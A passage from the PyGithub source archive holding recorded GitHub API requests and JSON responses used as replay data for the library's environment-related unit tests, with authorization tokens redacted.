v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2022-04-20T13:58:31Z","pushed_at":"2022-04-12T12:36:44Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13547,"stargazers_count":5203,"watchers_count":5203,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1478,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":148,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1478,"open_issues":148,"watchers":5203,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2022-04-20T13:58:31Z","pushed_at":"2022-04-12T12:36:44Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13547,"stargazers_count":5203,"watchers_count":5203,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1478,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":148,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1478,"open_issues":148,"watchers":5203,"default_branch":"master"},"network_count":1478,"subscribers_count":0} https GET api.github.com None /repos/alson/PyGithub/environments/dev {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 20 Apr 2022 14:01:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3b0433057350078e2272494ff1c150fd0063b57b11fad140ec6bf723991e9ebf"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1650466902'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F37B:4620:7192EF:732DA7:62601246')] {"id":464814513,"node_id":"EN_kwDOHKhL9c4btIGx","name":"dev","url":"https://api.github.com/repos/alson/PyGithub/environments/dev","html_url":"https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=dev","created_at":"2022-04-13T15:06:32Z","updated_at":"2022-04-13T15:06:32Z","protection_rules":[{"id":216323,"node_id":"GA_kwDOHKhL9c4AA00D","type":"branch_policy"},{"id":216324,"node_id":"GA_kwDOHKhL9c4AA00E","type":"required_reviewers","reviewers":[{"type":"User","reviewer":{"login":"alson","id":19245,"node_id":"MDQ6VXNlcjE5MjQ1","avatar_url":"https://avatars.githubusercontent.com/u/19245?v=4","gravatar_id":"","url":"https://api.github.com/users/alson","html_url":"https://github.com/alson","followers_url":"https://api.github.com/users/alson/followers","following_url":"https://api.github.com/users/alson/following{/other_user}","gists_url":"https://api.github.com/users/alson/gists{/gist_id}","starred_url":"https://api.github.com/users/alson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alson/subscriptions","organizations_url":"https://api.github.com/users/alson/orgs","repos_url":"https://api.github.com/users/alson/repos","events_url":"https://api.github.com/users/alson/events{/privacy}","received_events_url":"https://api.github.com/users/alson/received_events","type":"User","site_admin":false}}]},{"id":216325,"node_id":"GA_kwDOHKhL9c4AA00F","type":"wait_timer","wait_timer":15}],"deployment_branch_policy":{"protected_branches":true,"custom_branch_policies":false}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Environment.testCreateEnvironment.txt0000644000175100001660000000410414756101563025551 0ustar00runnerdockerhttps PUT api.github.com None /repos/alson/PyGithub/environments/test {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"wait_timer": 0, "reviewers": [], "deployment_branch_policy": null} 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 19 Apr 2022 14:04:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"551b8efc5f64e50c7aea535a16d55561640ea5649a4e1d349ed09f953cae96da"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1650380634'), ('X-RateLimit-Used', '7'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C759:D172:956268:97BB8A:625EC170')] {"id":470015651,"node_id":"EN_kwDOHKhL9c4cA96j","name":"test","url":"https://api.github.com/repos/alson/PyGithub/environments/test","html_url":"https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=test","created_at":"2022-04-19T14:04:32Z","updated_at":"2022-04-19T14:04:32Z","protection_rules":[],"deployment_branch_policy":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Environment.testDeleteEnvironment.txt0000644000175100001660000000561314756101563025556 0ustar00runnerdockerhttps DELETE api.github.com None /repos/alson/PyGithub/environments/test {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Wed, 20 Apr 2022 14:01:43 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1650466902'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'F37C:EF19:493413:4A9458:62601246')] https GET api.github.com None /repos/alson/PyGithub/environments/test {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Server', 'GitHub.com'), ('Date', 'Wed, 20 Apr 2022 14:01:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1650466902'), ('X-RateLimit-Used', '5'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F37D:1385E:70D68B:727E0B:62601247')] {"message":"Not Found","documentation_url":"https://docs.github.com/rest/reference/repos#get-an-environment"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Environment.testEnvironmentSecret.txt0000644000175100001660000007005614756101563025604 0ustar00runnerdockerhttps GET api.github.com None /repos/AndrewJDawes/PyGithub {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7b3ffcbfb6768b80de579a95da30f80417937996add76ee2c43a6825f544d64a"'), ('Last-Modified', 'Sat, 18 Nov 2023 13:36:18 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4851'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '149'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E052:0C70:109D1E3:22894C2:655F7C85')] {"id":713113574,"node_id":"R_kgDOKoE_5g","name":"PyGithub","full_name":"AndrewJDawes/PyGithub","private":false,"owner":{"login":"AndrewJDawes","id":53574062,"node_id":"MDQ6VXNlcjUzNTc0MDYy","avatar_url":"https://avatars.githubusercontent.com/u/53574062?v=4","gravatar_id":"","url":"https://api.github.com/users/AndrewJDawes","html_url":"https://github.com/AndrewJDawes","followers_url":"https://api.github.com/users/AndrewJDawes/followers","following_url":"https://api.github.com/users/AndrewJDawes/following{/other_user}","gists_url":"https://api.github.com/users/AndrewJDawes/gists{/gist_id}","starred_url":"https://api.github.com/users/AndrewJDawes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AndrewJDawes/subscriptions","organizations_url":"https://api.github.com/users/AndrewJDawes/orgs","repos_url":"https://api.github.com/users/AndrewJDawes/repos","events_url":"https://api.github.com/users/AndrewJDawes/events{/privacy}","received_events_url":"https://api.github.com/users/AndrewJDawes/received_events","type":"User","site_admin":false},"html_url":"https://github.com/AndrewJDawes/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/AndrewJDawes/PyGithub","forks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/forks","keys_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/teams","hooks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/events","assignees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/tags","blobs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/languages","stargazers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscription","commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/merges","archive_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/downloads","issues_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/deployments","created_at":"2023-11-01T21:36:28Z","updated_at":"2023-11-18T13:36:18Z","pushed_at":"2023-11-22T14:07:34Z","git_url":"git://github.com/AndrewJDawes/PyGithub.git","ssh_url":"git@github.com:AndrewJDawes/PyGithub.git","clone_url":"https://github.com/AndrewJDawes/PyGithub.git","svn_url":"https://github.com/AndrewJDawes/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13242,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"